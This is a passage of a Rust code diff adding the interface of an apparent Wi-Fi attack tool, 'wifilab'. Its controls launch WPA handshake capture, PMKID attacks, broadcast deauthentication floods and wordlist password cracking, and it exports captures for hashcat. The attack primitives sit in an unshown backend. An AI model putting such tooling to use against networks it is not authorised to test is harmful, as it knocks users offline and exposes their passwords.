199+ }
200+ }
201+ })
202+ .detach();
203+
204+ window.focus(&this.focus_handle, cx);
205+ this
206+ }
207+
208+ /// Header "Start/Stop capture" behaviour.
209+ ///
210+ /// Real mode: lazily create the [`Backend`] (monitor-mode switch +
211+ /// scanner thread) on the channel-selected interface; Stop shuts it
212+ /// down and restores managed mode. Mock mode: pure UI flips (the mock
213+ /// generator runs independently).
214+ pub fn toggle_monitor(&mut self, cx: &mut Context<Self>) {
215+ if self.is_mock {
216+ self.state.iface_running = !self.state.iface_running;
217+ let on = self.state.iface_running;
218+ self.state.push_log(format!(
219+ "iface {}: monitor mode {} (mock)",
220+ self.state.ifname,
221+ if on { "on" } else { "off" }
222+ ));
223+ cx.notify();
224+ return;
225+ }
226+ if let Some(be) = self.backend.take() {
227+ self.state.iface_running = false;
228+ // The crack job (if any) has its own stop flag and keeps
229+ // running; it never touches the radio.
230+ self.state.push_log("ui: stopping capture, restoring managed mode…");
231+ cx.notify();
232+ be.shutdown();
233+ self.state.push_log("ui: capture stopped, interface restored");
234+ cx.notify();
235+ } else {
236+ let ifname = self.state.ifname.clone();
237+ match Backend::start_scan(&ifname, self.tx.clone()) {
238+ Ok(be) => {
239+ self.backend = Some(be);
240+ self.state.iface_running = true;
241+ self.state
242+ .push_log(format!("ui: capture started on {ifname}"));
243+ }
244+ Err(e) => {
245+ self.state
246+ .push_log(format!("ERROR: start capture on {ifname}: {e:#}"));
247+ }
248+ }
249+ cx.notify();
250+ }
251+ }
252+
253+ /// Drain every queued event, track handshake progress, refresh widgets
254+ /// derived from the capture set.
255+ fn drain_events(&mut self, cx: &mut Context<Self>) {
256+ let mut changed = false;
257+ let mut captures_changed = false;
258+ while let Ok(event) = self.rx.try_recv() {
259+ changed = true;
260+ match &event {
261+ Event::HandshakeProgress { ap, client, have } => {
262+ self.hs_progress.insert((*ap, *client), *have);
263+ }
264+ Event::HandshakeComplete(cap) => {
265+ self.hs_progress.remove(&(cap.ap, cap.client));
266+ self.attacking_handshake = false;
267+ }
268+ Event::PmkidCaptured(_) => {
269+ self.attacking_pmkid = false;
270+ }
271+ // Any worker error, or a terminal log from an attack
272+ // worker (prefixed by backend.rs; scanner logs are
273+ // excluded), un-spins attack buttons so the UI is never
274+ // stuck "working…".
275+ Event::Error(_) => {
276+ self.attacking_handshake = false;
277+ self.attacking_pmkid = false;
278+ }
279+ Event::Log(line)
280+ if ["handshake:", "pmkid:"]
281+ .iter()
282+ .any(|p| line.starts_with(p)) =>
283+ {
284+ self.attacking_handshake = false;
285+ self.attacking_pmkid = false;
286+ }
287+ Event::CrackStopped { .. } => {
288+ self.crack_inflight = false;
289+ }
290+ Event::CrackFound { password } => {
291+ self.pending_toast =
292+ Some(format!("password recovered: {password}").into());
293+ }
294+ _ => {}
295+ }
296+ captures_changed |= self.state.apply(event);
297+ }
298+ if captures_changed {
299+ self.rebuild_target_select(cx);
300+ }
301+ if changed {
302+ cx.notify();
303+ }
304+ }
305+
306+ /// The cracker target dropdown mirrors `state.capture_descs()`; rebuild
307+ /// it whenever a handshake/PMKID arrives, keeping the current choice if
308+ /// it still exists.
309+ pub fn rebuild_target_select(&mut self, cx: &mut Context<Self>) {
310+ let descs = self.state.capture_descs();
311+ let keep = self
312+ .state
313+ .cracker
314+ .target
315+ .take()
316+ .filter(|cur| descs.contains(cur));
317+ let view = cx.entity();
318+ let mut builder = select(
319+ "cracker-target",
320+ "Crack target",
321+ descs.iter().map(|d| (d.clone(), d.clone())).collect::<Vec<_>>(),
322+ )
323+ .placeholder("Select a capture…")
324+ .on_change(move |value, _window, cx| {
325+ view.update(cx, |app, cx| {
326+ app.state.cracker.target = Some(value);
327+ cx.notify();
328+ });
329+ });
330+ if let Some(cur) = keep {
331+ builder = builder.selected(cur.clone());
332+ self.state.cracker.target = Some(cur);
333+ }
334+ self.target_select = cx.new(|_cx| SelectState::new(builder));
335+ }
336+
337+ fn nav_item(
338+ &self,
339+ page: Page,
340+ view: &Entity<AppRoot>,
341+ cx: &App,
342+ ) -> gpui::Stateful<gpui::Div> {
343+ let theme = cx.theme().clone();
344+ let active = self.page == page;
345+ let view = view.clone();
346+ div()
347+ .id(ElementKey::Nav(page as u8).id())
348+ .px_3()
349+ .py_2()
350+ .rounded_md()
351+ .cursor_pointer()
352+ .when(active, |el| el.bg(theme.accent_bg()))
353+ .when(!active, |el| {
354+ let hover = theme.accent_bg().alpha(0.35);
355+ el.hover(move |style| style.bg(hover))
356+ })
357+ .text_sm()
358+ .child(page.label())
359+ .on_click(move |_, _window, cx| {
360+ view.update(cx, |app, cx| {
361+ app.page = page;
362+ cx.notify();
363+ });
364+ })
365+ }
366+
367+ fn header(&self, view: &Entity<AppRoot>, cx: &App) -> gpui::Div {
368+ let theme = cx.theme().clone();
369+ let running = self.state.iface_running;
370+
371+ let privilege = if self.is_root {
372+ badge("root").secondary()
373+ } else {
374+ badge("not root — attacks need sudo").destructive()
375+ };
376+
377+ let toggle = button(
378+ "monitor-toggle",
379+ if running {
380+ "Stop capture"
381+ } else if self.is_mock {
382+ "Start capture (mock)"
383+ } else {
384+ "Start capture (monitor)"
385+ },
386+ )
387+ // Stopping capture (or starting a new one) while a crack streams
388+ // would kill the crack job: radio access is exclusive.
389+ .disabled(!self.is_mock && self.crack_inflight)
390+ .on_click({
391+ let view = view.clone();
392+ move |_, _window, cx| {
393+ view.update(cx, |app, cx| app.toggle_monitor(cx));
394+ }
395+ });
396+
397+ h_stack()
398+ .w_full()
399+ .px_4()
400+ .py_2()
401+ .gap_3()
402+ .items_center()
403+ .border_b_1()
404+ .border_color(theme.border())
405+ .bg(theme.surface())
406+ .child(div().text_lg().font_weight(FontWeight::BOLD).child("wifilab"))
407+ .child(privilege)
408+ .child(div().w(px(220.)).child(self.iface_select.clone()))
409+ .child(toggle)
410+ .child(div().flex_1())
411+ .child(
412+ div()
413+ .text_xs()
414+ .text_color(theme.fg_muted())
415+ .child(SharedString::from(format!(
416+ "channel hopper active · {}",
417+ self.state.ifname
418+ ))),
419+ )
420+ }
421+
422+ fn status_line(&self, cx: &App) -> gpui::Div {
423+ let theme = cx.theme().clone();
424+ div()
425+ .w_full()
426+ .px_4()
427+ .py_1()
428+ .border_t_1()
429+ .border_color(theme.border())
430+ .bg(theme.surface())
431+ .text_xs()
432+ .text_color(theme.fg_muted())
433+ .child(format!(
434+ "{} APs · {} clients · {} handshakes · {} PMKIDs · {} · capture {} · {}",
435+ self.state.aps.len(),
436+ self.state.clients.len(),
437+ self.state.handshakes.len(),
438+ self.state.pmkids.len(),
439+ self.state.ifname,
440+ if self.state.iface_running {
441+ "running"
442+ } else {
443+ "stopped"
444+ },
445+ if self.is_mock { "MOCK DATA" } else { "LIVE" }
446+ ))
447+ }
448+}
449+
450+/// Stable element ids that aren't string keys.
451+enum ElementKey {
452+ Nav(u8),
453+}
454+
455+impl ElementKey {
456+ fn id(self) -> SharedString {
457+ match self {
458+ ElementKey::Nav(n) => SharedString::from(format!("nav-{n}")),
459+ }
460+ }
461+}
462+
463+impl Render for AppRoot {
464+ fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
465+ let theme = cx.theme().clone();
466+ let view = cx.entity();
467+
468+ // Flush toasts queued by the event-drain loop (which has no Window).
469+ if let Some(msg) = self.pending_toast.take() {
470+ cx.toast(msg).show(_window, cx);
471+ }
472+
473+ let nav = v_stack()
474+ .w(px(170.))
475+ .h_full()
476+ .gap_1()
477+ .p_2()
478+ .border_r_1()
479+ .border_color(theme.border())
480+ .bg(theme.surface_secondary())
481+ .children(
482+ Page::ALL
483+ .into_iter()
484+ .map(|page| self.nav_item(page, &view, cx)),
485+ );
486+
487+ let content = match self.page {
488+ Page::Networks => networks::render(self, &view, _window, cx),
489+ Page::Attacks => attacks::render(self, &view, _window, cx),
490+ Page::Cracker => cracker::render(self, &view, _window, cx),
491+ Page::Log => log_view::render(self, &view, _window, cx),
492+ };
493+
494+ div()
495+ .flex()
496+ .size_full()
497+ .bg(theme.bg())
498+ .text_color(theme.fg())
499+ .child(nav)
500+ .child(
501+ v_stack()
502+ .flex_1()
503+ .h_full()
504+ .min_w_0()
505+ .child(self.header(&view, cx))
506+ .child(div().flex_1().min_h_0().child(content))
507+ .child(self.status_line(cx)),
508+ )
509+ // Toast overlay lives at the root so it floats over any page.
510+ .child(cx.toast_manager().clone())
511+ }
512+}
src/ui/attacks.rsadded+497 -0
@@ -0,0 +1,497 @@
1+//! Attacks page: target banner, capture/PMKID/deauth triggers (mock-injected
2+//! into the event channel), capture cards, hc22000 export.
3+
4+use std::path::{Path, PathBuf};
5+use std::time::{Duration, SystemTime, UNIX_EPOCH};
6+
7+use gpui::{
8+ Context, Entity, IntoElement, ParentElement, Styled, Window, div, prelude::FluentBuilder, px,
9+};
10+use gpuikit::elements::badge::badge;
11+use gpuikit::elements::button::button;
12+use gpuikit::elements::card::card;
13+use gpuikit::elements::loading_indicator::loading_indicator;
14+use gpuikit::elements::text_field::text_field;
15+use gpuikit::elements::typography::{h3, small, text};
16+use gpuikit::layout::{h_stack, v_stack};
17+use gpuikit::theme::{ActiveTheme, Themeable};
18+
19+use crate::common::{Event, HandshakeCapture, MacAddr, PmkidCapture};
20+use crate::ui::app::AppRoot;
21+use crate::ui::mock;
22+
23+fn unix_secs() -> u64 {
24+ SystemTime::now()
25+ .duration_since(UNIX_EPOCH)
26+ .map(|d| d.as_secs())
27+ .unwrap_or(0)
28+}
29+
30+fn hex(bytes: &[u8]) -> String {
31+ let mut out = String::with_capacity(bytes.len() * 2);
32+ for b in bytes {
33+ out.push_str(&format!("{b:02x}"));
34+ }
35+ out
36+}
37+
38+/// Export all captures: platform save dialog if it opens, otherwise a fixed
39+/// fallback path under ./captures. Uses the crate's hc22000 formatting
40+/// (single source of truth in [`crate::handshake`]).
41+fn export_hc22000(view: &Entity<AppRoot>, _window: &mut Window, cx: &mut gpui::App) {
42+ let (lines, lossless_note) = {
43+ let app = view.read(cx);
44+ let mut lines: Vec<String> = app
45+ .state
46+ .handshakes
47+ .iter()
48+ .map(crate::handshake::handshake_hc22000)
49+ .chain(app.state.pmkids.iter().map(crate::handshake::pmkid_hc22000))
50+ .collect();
51+ lines.sort_unstable();
52+ lines.dedup();
53+ (lines, app.state.handshakes.len() + app.state.pmkids.len())
54+ };
55+ if lines.is_empty() {
56+ view.update(cx, |app, cx| {
57+ app.state.push_log("export: no captures yet");
58+ cx.notify();
59+ });
60+ return;
61+ }
62+
63+ let suggested = format!("wifilab-{}.hc22000", unix_secs());
64+ let prompt = cx.prompt_for_new_path(Path::new("./captures"), Some(&suggested));
65+ let body = lines.join("\n") + "\n";
66+ let weak = view.downgrade();
67+ cx.spawn(async move |cx| {
68+ // Dialog refused/cancelled → fixed fallback; explicit cancel aborts.
69+ let path: Option<PathBuf> = match prompt.await {
70+ Ok(Ok(Some(p))) => Some(p),
71+ Ok(Ok(None)) => None,
72+ _ => Some(PathBuf::from("./captures").join(&suggested)),
73+ };
74+ let _ = weak.update(cx, |app, cx| {
75+ match path {
76+ None => app.state.push_log("export: cancelled"),
77+ Some(path) => {
78+ if let Some(parent) = path.parent() {
79+ let _ = std::fs::create_dir_all(parent);
80+ }
81+ match std::fs::write(&path, &body) {
82+ Ok(()) => app
83+ .state
84+ .push_log(format!("export: {} captures → {}", lossless_note, path.display())),
85+ Err(e) => app
86+ .state
87+ .push_log(format!("export FAILED: {e} ({})", path.display())),
88+ }
89+ }
90+ }
91+ cx.notify();
92+ });
93+ })
94+ .detach();
95+}
96+
97+/// Selected target with its current AP row (channel + essid).
98+fn target_info(app: &AppRoot) -> Option<(MacAddr, u8, String)> {
99+ let ap = app.selected?;
100+ let row = app.state.aps.get(&ap)?;
101+ Some((ap, row.channel, row.ssid.clone()))
102+}
103+
104+/// Capture Handshake.
105+/// Mock mode: drive a fresh fabricated 4-way through the event pipeline.
106+/// Real mode: spawn the backend capture worker (channel probed first via
107+/// a zero-count deauth pulse); progress/completion arrive as real events.
108+fn capture_handshake(view: &Entity<AppRoot>, _window: &mut Window, cx: &mut gpui::App) {
109+ view.update(cx, |app, cx| {
110+ let Some(ap) = app.selected else {
111+ app.state.push_log("handshake: no target selected");
112+ cx.notify();
113+ return;
114+ };
115+ if app.attacking_handshake {
116+ return;
117+ }
118+ if !app.is_mock && app.backend.is_none() {
119+ app.state
120+ .push_log("handshake: start capture first (the backend owns the radio)");
121+ cx.notify();
122+ return;
123+ }
124+ app.attacking_handshake = true;
125+ cx.notify();
126+
127+ if !app.is_mock {
128+ let Some((ap, channel, essid)) = target_info(app) else {
129+ app.state
130+ .push_log("handshake: target AP not in scan table yet");
131+ app.attacking_handshake = false;
132+ cx.notify();
133+ return;
134+ };
135+ app.state.push_log(format!(
136+ "handshake capture on {essid} ({ap}, ch {channel})…"
137+ ));
138+ if let Some(be) = &app.backend {
139+ be.capture_hs(ap, channel, essid, app.tx.clone());
140+ }
141+ cx.notify();
142+ return;
143+ }
144+
145+ // ---- mock path ----
146+ let essid = app
147+ .state
148+ .aps
149+ .get(&ap)
150+ .map(|a| a.ssid.clone())
151+ .unwrap_or_else(|| ap.to_string());
152+ // Prefer a client actually associated with the target.
153+ let client = app
154+ .state
155+ .clients
156+ .values()
157+ .find(|c| c.ap == Some(ap))
158+ .map(|c| c.mac)
159+ .unwrap_or(mock::MOCK_CLIENTS[0]);
160+ app.state
161+ .push_log(format!("handshake capture on {essid} ({ap}), targeting {client}…"));
162+ cx.notify();
163+
164+ let tx = app.tx.clone();
165+ let essid_ev = essid.clone();
166+ let salt = unix_secs();
167+ cx.spawn(async move |this, cx| {
168+ let _ = tx.send(Event::HandshakeProgress {
169+ ap,
170+ client,
171+ have: 0b0001,
172+ });
173+ cx.background_executor()
174+ .timer(Duration::from_millis(900))
175+ .await;
176+ let _ = tx.send(Event::HandshakeProgress {
177+ ap,
178+ client,
179+ have: 0b0011,
180+ });
181+ cx.background_executor()
182+ .timer(Duration::from_millis(900))
183+ .await;
184+ let cap = mock::fabricate_handshake(ap, client, &essid_ev, salt);
185+ let _ = tx.send(Event::HandshakeComplete(Box::new(cap)));
186+ let _ = this.update(cx, |app, cx| {
187+ app.attacking_handshake = false;
188+ cx.notify();
189+ });
190+ })
191+ .detach();
192+ });
193+}
194+
195+/// PMKID attack: client-less, one exchange, captured PMKID arrives shortly.
196+fn pmkid_attack(view: &Entity<AppRoot>, _window: &mut Window, cx: &mut gpui::App) {
197+ view.update(cx, |app, cx| {
198+ let Some(ap) = app.selected else {
199+ app.state.push_log("pmkid: no target selected");
200+ cx.notify();
201+ return;
202+ };
203+ if app.attacking_pmkid {
204+ return;
205+ }
206+ if !app.is_mock && app.backend.is_none() {
207+ app.state
208+ .push_log("pmkid: start capture first (the backend owns the radio)");
209+ cx.notify();
210+ return;
211+ }
212+ app.attacking_pmkid = true;
213+ cx.notify();
214+
215+ if !app.is_mock {
216+ let Some((ap, channel, essid)) = target_info(app) else {
217+ app.state
218+ .push_log("pmkid: target AP not in scan table yet");
219+ app.attacking_pmkid = false;
220+ cx.notify();
221+ return;
222+ };
223+ app.state
224+ .push_log(format!("pmkid attack on {essid} ({ap}, ch {channel})…"));
225+ if let Some(be) = &app.backend {
226+ be.pmkid(ap, channel, essid, app.tx.clone());
227+ }
228+ cx.notify();
229+ return;
230+ }
231+
232+ // ---- mock path ----
233+ let essid = app
234+ .state
235+ .aps
236+ .get(&ap)
237+ .map(|a| a.ssid.clone())
238+ .unwrap_or_else(|| ap.to_string());
239+ app.state
240+ .push_log(format!("pmkid attack on {essid} ({ap})…"));
241+ cx.notify();
242+
243+ let tx = app.tx.clone();
244+ let salt = unix_secs() ^ 0x77;
245+ cx.spawn(async move |this, cx| {
246+ cx.background_executor()
247+ .timer(Duration::from_millis(1200))
248+ .await;
249+ let cap = mock::fabricate_pmkid(ap, mock::MOCK_CLIENTS[3], &essid, salt);
250+ let _ = tx.send(Event::PmkidCaptured(cap));
251+ let _ = this.update(cx, |app, cx| {
252+ app.attacking_pmkid = false;
253+ cx.notify();
254+ });
255+ })
256+ .detach();
257+ });
258+}
259+
260+/// Deauth: broadcast by default, or target the selected client's station.
261+/// Real mode blasts from the backend's own socket; mock mode fabricates
262+/// the same DeauthSent event the real worker emits.
263+fn deauth(view: &Entity<AppRoot>, _window: &mut Window, cx: &mut gpui::App) {
264+ view.update(cx, |app, cx| {
265+ let Some(ap) = app.selected else {
266+ app.state.push_log("deauth: no target selected");
267+ cx.notify();
268+ return;
269+ };
270+ let count64: u64 = app
271+ .deauth_input
272+ .read(cx)
273+ .content()
274+ .trim()
275+ .parse()
276+ .unwrap_or(16);
277+
278+ if !app.is_mock {
279+ let Some(be) = &app.backend else {
280+ app.state
281+ .push_log("deauth: start capture first (the backend owns the radio)");
282+ cx.notify();
283+ return;
284+ };
285+ let Some((ap, channel, _essid)) = target_info(app) else {
286+ app.state
287+ .push_log("deauth: target AP not in scan table yet");
288+ cx.notify();
289+ return;
290+ };
291+ // A selected client row wins; otherwise deauth the whole net
292+ // broadcast-style. (Guard: the pair must still be consistent
293+ // with the live client table.)
294+ let target = app
295+ .selected_client
296+ .filter(|mac| {
297+ app.state
298+ .clients
299+ .get(mac)
300+ .is_some_and(|c| c.ap == Some(ap))
301+ })
302+ .unwrap_or(MacAddr::BROADCAST);
303+ let count = count64.min(u32::MAX as u64) as u32;
304+ app.state.push_log(format!(
305+ "deauth: {count} rounds → {target} (AP {ap}, ch {channel})"
306+ ));
307+ be.deauth(ap, target, channel, count, app.tx.clone());
308+ cx.notify();
309+ return;
310+ }
311+
312+ let _ = app.tx.send(Event::DeauthSent {
313+ ap,
314+ target: MacAddr::BROADCAST,
315+ count: count64,
316+ });
317+ cx.notify();
318+ });
319+}
320+
321+fn kv(label: &str, value: impl Into<String>) -> gpui::Div {
322+ h_stack()
323+ .gap_2()
324+ .child(div().w(px(90.)).text_xs().child(label.to_string()))
325+ .child(text(value.into()).code().small().into_any_element())
326+}
327+
328+fn handshake_card(hs: &HandshakeCapture, crackable: bool) -> gpuikit::elements::card::Card {
329+ card()
330+ .title(format!("{} — handshake", hs.essid))
331+ .description(format!("{} ⇄ {}", hs.ap, hs.client))
332+ .body(
333+ v_stack()
334+ .gap_1()
335+ .child(kv("key version", format!("{}", hs.key_ver)))
336+ .child(kv("anonce", hex(&hs.anonce[..8])))
337+ .child(
338+ h_stack().gap_2().child(if crackable {
339+ badge("crackable").secondary()
340+ } else {
341+ badge("partial")
342+ }),
343+ )
344+ .into_any_element(),
345+ )
346+}
347+
348+fn pmkid_card(pm: &PmkidCapture) -> gpuikit::elements::card::Card {
349+ card()
350+ .title(format!("{} — PMKID", pm.essid))
351+ .description(format!("AP {}", pm.ap))
352+ .body(
353+ v_stack()
354+ .gap_1()
355+ .child(kv("pmkid", hex(&pm.pmkid)))
356+ .child(kv("via (our mac)", pm.client.to_string()))
357+ .child(h_stack().gap_2().child(badge("crackable").secondary()))
358+ .into_any_element(),
359+ )
360+}
361+
362+pub fn render(
363+ app: &mut AppRoot,
364+ view: &Entity<AppRoot>,
365+ _window: &mut Window,
366+ cx: &mut Context<AppRoot>,
367+) -> gpui::Div {
368+ let theme = cx.theme().clone();
369+
370+ let target_block = match app.selected.and_then(|b| {
371+ app.state
372+ .aps
373+ .get(&b)
374+ .map(|ap| (ap.ssid.clone(), b, ap.channel))
375+ }) {
376+ Some((ssid, bssid, ch)) => h_stack()
377+ .gap_3()
378+ .items_center()
379+ .child(h3(format!("target: {ssid}")))
380+ .child(text(format!("{bssid} · ch {ch}")).code().small().into_any_element())
381+ .into_any_element(),
382+ None => h_stack()
383+ .gap_3()
384+ .items_center()
385+ .child(h3("target: none selected"))
386+ .child(small("pick an AP on the Networks page"))
387+ .into_any_element(),
388+ };
389+
390+ let no_target = app.selected.is_none();
391+ // Real mode without a running capture has no radio: block the buttons
392+ // (a matching hint sits next to them).
393+ let no_backend = !app.is_mock && app.backend.is_none();
394+ let blocked = no_target || no_backend;
395+ let hs_running = app.attacking_handshake;
396+ let pm_running = app.attacking_pmkid;
397+
398+ let actions = h_stack()
399+ .gap_3()
400+ .items_center()
401+ .child(
402+ button("btn-handshake", "Capture Handshake")
403+ .disabled(blocked || hs_running)
404+ .on_click({
405+ let view = view.clone();
406+ move |_, window, cx| capture_handshake(&view, window, cx)
407+ }),
408+ )
409+ .child(
410+ button("btn-pmkid", "PMKID Attack")
411+ .disabled(blocked || pm_running)
412+ .on_click({
413+ let view = view.clone();
414+ move |_, window, cx| pmkid_attack(&view, window, cx)
415+ }),
416+ )
417+ .child(
418+ button("btn-deauth", "Deauth")
419+ .destructive()
420+ .disabled(blocked)
421+ .on_click({
422+ let view = view.clone();
423+ move |_, window, cx| deauth(&view, window, cx)
424+ }),
425+ )
426+ .child(
427+ div()
428+ .w(px(90.))
429+ .child(text_field(&app.deauth_input, cx).placeholder("count")),
430+ )
431+ .when(hs_running || pm_running, |el| {
432+ el.child(loading_indicator().small()).child(small("working…"))
433+ })
434+ .when(no_backend, |el| {
435+ el.child(small("start capture first to enable attacks"))
436+ });
437+
438+ // In-flight 4-way attempts shown with their message bitmask.
439+ let progress_cards: Vec<gpui::AnyElement> = app
440+ .hs_progress
441+ .iter()
442+ .map(|((ap, client), have)| {
443+ card()
444+ .title(format!("collecting 4-way… {}/4", have.count_ones()))
445+ .description(format!("{ap} ⇄ {client}"))
446+ .body(
447+ h_stack()
448+ .gap_2()
449+ .child(loading_indicator().small())
450+ .into_any_element(),
451+ )
452+ .into_any_element()
453+ })
454+ .collect();
455+
456+ let mut page = v_stack()
457+ .size_full()
458+ .gap_3()
459+ .p_4()
460+ .child(target_block)
461+ .child(actions)
462+ .children(progress_cards)
463+ .child(gpuikit::elements::separator::separator())
464+ .child(
465+ h_stack()
466+ .items_center()
467+ .gap_3()
468+ .child(h3("Captures"))
469+ .child(small(format!(
470+ "{} handshakes · {} PMKIDs",
471+ app.state.handshakes.len(),
472+ app.state.pmkids.len()
473+ )))
474+ .child(div().flex_1())
475+ .child(
476+ button("btn-export", "Export .hc22000").on_click({
477+ let view = view.clone();
478+ move |_, window, cx| export_hc22000(&view, window, cx)
479+ }),
480+ ),
481+ );
482+
483+ let cards: Vec<gpui::AnyElement> = app
484+ .state
485+ .handshakes
486+ .iter()
487+ .map(|hs| handshake_card(hs, true).into_any_element())
488+ .chain(app.state.pmkids.iter().map(|pm| pmkid_card(pm).into_any_element()))
489+ .collect();
490+ if cards.is_empty() {
491+ page = page.child(small("nothing captured yet — run an attack"));
492+ } else {
493+ page = page.child(v_stack().gap_2().children(cards));
494+ }
495+
496+ page.text_color(theme.fg())
497+}
src/ui/cracker.rsadded+317 -0
@@ -0,0 +1,317 @@
1+//! Cracker page: target dropdown (fed by captures), wordlist field, backend
2+//! label, Start/Stop, live throughput/progress, found-password banner.
3+//!
4+//! Until the real wgpu cracker lands, Start runs a deterministic simulation
5+//! on a gpui background task so every control here is live.
6+
7+use std::time::Duration;
8+
9+use gpui::{
10+ Context, Entity, IntoElement, ParentElement, Styled, Window, div, prelude::FluentBuilder, px,
11+};
12+use gpuikit::elements::button::button;
13+use gpuikit::elements::loading_indicator::loading_indicator;
14+use gpuikit::elements::progress::progress;
15+use gpuikit::elements::text_field::text_field;
16+use gpuikit::elements::typography::{h3, small, text};
17+use gpuikit::layout::{h_stack, v_stack};
18+use gpuikit::theme::{ActiveTheme, Themeable};
19+
20+use crate::common::Event;
21+use crate::ui::app::AppRoot;
22+
23+/// Mock run length: this many "candidates" before the password turns up.
24+const WORDLIST_TOTAL: u64 = 1_000_000;
25+/// Mock GPU throughput (guesses/second).
26+const MOCK_HPS: f64 = 1_250_000.0;
27+const MOCK_PASSWORD: &str = "parafin2024!";
28+/// Label for the backend column: real runs detect GPU-vs-CPU inside the
29+/// worker and log it ("cracker: GPU backend: … / CPU fallback").
30+const fn backend_label(is_mock: bool) -> &'static str {
31+ if is_mock {
32+ "GPU (wgpu) · mock"
33+ } else {
34+ "auto: GPU (wgpu) → CPU"
35+ }
36+}
37+
38+fn fmt_hps(hps: f64) -> String {
39+ if hps >= 1.0e6 {
40+ format!("{:.2} MH/s", hps / 1.0e6)
41+ } else if hps >= 1.0e3 {
42+ format!("{:.1} kH/s", hps / 1.0e3)
43+ } else {
44+ format!("{hps:.0} H/s")
45+ }
46+}
47+
48+/// Start a crack run on the selected capture.
49+///
50+/// Real mode: hands the stored [`crate::crypto::CrackTarget`] (no hc22000
51+/// re-parse) to the backend worker; progress and termination arrive as
52+/// CrackProgress/CrackFound/CrackStopped events and land in state via
53+/// `AppState::apply`. Requires capture stopped (radio exclusive).
54+/// Mock mode: a deterministic generator drives the SAME event sequence.
55+fn start(view: &Entity<AppRoot>, _window: &mut Window, cx: &mut gpui::App) {
56+ view.update(cx, |app, cx| {
57+ if app.crack_inflight || app.state.cracker.running {
58+ return;
59+ }
60+ let Some(desc) = app.state.cracker.target.clone() else {
61+ app.state.push_log("cracker: no target selected");
62+ cx.notify();
63+ return;
64+ };
65+ let wordlist = app.wordlist_input.read(cx).content().trim().to_string();
66+ if wordlist.is_empty() {
67+ app.state.push_log("cracker: wordlist path is empty");
68+ cx.notify();
69+ return;
70+ }
71+
72+ // Validate everything that can fail BEFORE marking the run active,
73+ // so a refused start never leaves stale flags behind.
74+ let real_target = if !app.is_mock {
75+ if app.state.iface_running {
76+ app.state
77+ .push_log("cracker: needs the radio free — stop capture first");
78+ cx.notify();
79+ return;
80+ }
81+ let Some(idx) = app.state.capture_descs().iter().position(|d| *d == desc) else {
82+ app.state.push_log("ERROR: cracker: capture no longer exists");
83+ cx.notify();
84+ return;
85+ };
86+ match app.state.crack_target_at(idx) {
87+ Some(t) => Some(t),
88+ None => {
89+ app.state.push_log("ERROR: cracker: capture no longer exists");
90+ cx.notify();
91+ return;
92+ }
93+ }
94+ } else {
95+ None
96+ };
97+
98+ app.crack_epoch += 1; // invalidate any stale mock generator ticks
99+ let cr = &mut app.state.cracker;
100+ cr.wordlist = Some(wordlist.clone());
101+ cr.found = None;
102+ cr.tried = 0;
103+ cr.hps = 0.0;
104+ cr.running = true;
105+ app.crack_inflight = true;
106+ cx.notify();
107+
108+ if !app.is_mock {
109+ let Some(target) = real_target else { return };
110+ app.state.push_log(format!(
111+ "cracker: starting on {desc} via {wordlist} [auto backend]"
112+ ));
113+ cx.notify();
114+ match &app.backend {
115+ Some(be) => be.crack(
116+ target.describe(),
117+ target,
118+ std::path::PathBuf::from(&wordlist),
119+ app.tx.clone(),
120+ ),
121+ None => {
122+ app.state.cracker.running = false;
123+ app.crack_inflight = false;
124+ app.state
125+ .push_log("ERROR: cracker: no backend (start capture first, then stop it)");
126+ cx.notify();
127+ }
128+ }
129+ return;
130+ }
131+
132+ // ---- mock path: same events, fabricated numbers ----
133+ app.state.push_log(format!(
134+ "cracker: {desc} via {wordlist} [mock run]"
135+ ));
136+ cx.notify();
137+ let tx = app.tx.clone();
138+ let epoch = app.crack_epoch;
139+ cx.spawn(async move |this, cx| {
140+ let mut done = 0u64;
141+ loop {
142+ cx.background_executor()
143+ .timer(Duration::from_millis(100))
144+ .await;
145+ let live = this
146+ .update(cx, |app, _cx| {
147+ app.crack_epoch == epoch && app.state.cracker.running
148+ })
149+ .unwrap_or(false);
150+ if !live {
151+ break;
152+ }
153+ done += (MOCK_HPS / 10.0) as u64 + done / 977 % 8_000;
154+ let hps = MOCK_HPS * (0.92 + (done / 331 % 15) as f64 / 100.0);
155+ let _ = tx.send(Event::CrackProgress { done, hps });
156+ if done >= WORDLIST_TOTAL {
157+ let _ = tx.send(Event::CrackFound {
158+ password: MOCK_PASSWORD.to_string(),
159+ });
160+ let _ = tx.send(Event::CrackStopped { found: true });
161+ break;
162+ }
163+ }
164+ })
165+ .detach();
166+ });
167+}
168+
169+/// Stop the active run.
170+///
171+/// Real mode flips the crack job's stop flag (the wordlist streamer breaks
172+/// at the next batch and emits CrackStopped{found:false}, which settles
173+/// the UI). Mock mode just invalidates the generator epoch — no terminator
174+/// event will arrive, so the running flags are cleared here.
175+fn stop(view: &Entity<AppRoot>, _window: &mut Window, cx: &mut gpui::App) {
176+ view.update(cx, |app, cx| {
177+ let active = app.crack_inflight || app.state.cracker.running;
178+ if !active {
179+ return;
180+ }
181+ app.crack_epoch += 1;
182+ if app.is_mock {
183+ app.state.cracker.running = false;
184+ app.crack_inflight = false;
185+ app.state.cracker.hps = 0.0;
186+ app.state.push_log("cracker: stopped by user");
187+ cx.notify();
188+ return;
189+ }
190+ if let Some(be) = &app.backend {
191+ be.request_crack_stop();
192+ app.state.push_log("cracker: stop requested");
193+ } else {
194+ app.state.cracker.running = false;
195+ app.crack_inflight = false;
196+ app.state.push_log("cracker: stopped");
197+ }
198+ cx.notify();
199+ });
200+}
201+
202+pub fn render(
203+ app: &mut AppRoot,
204+ view: &Entity<AppRoot>,
205+ _window: &mut Window,
206+ cx: &mut Context<AppRoot>,
207+) -> gpui::Div {
208+ let theme = cx.theme().clone();
209+ let cracker = &app.state.cracker;
210+ let running = cracker.running || app.crack_inflight;
211+ // Real runs stream an unknown-size wordlist: progress fraction is only
212+ // meaningful in the bounded mock run.
213+ let frac = if app.is_mock {
214+ (cracker.tried as f64 / WORDLIST_TOTAL as f64).clamp(0.0, 1.0)
215+ } else {
216+ 0.0
217+ };
218+ // Real mode: cracker needs the radio — capture must be stopped and a
219+ // backend must exist.
220+ let crack_blocked =
221+ !app.is_mock && (app.state.iface_running || app.backend.is_none());
222+ let candidates = if app.is_mock {
223+ format!("candidates: {} / {WORDLIST_TOTAL}", cracker.tried)
224+ } else {
225+ format!("candidates: {}", cracker.tried)
226+ };
227+
228+ let mut page = v_stack()
229+ .size_full()
230+ .gap_3()
231+ .p_4()
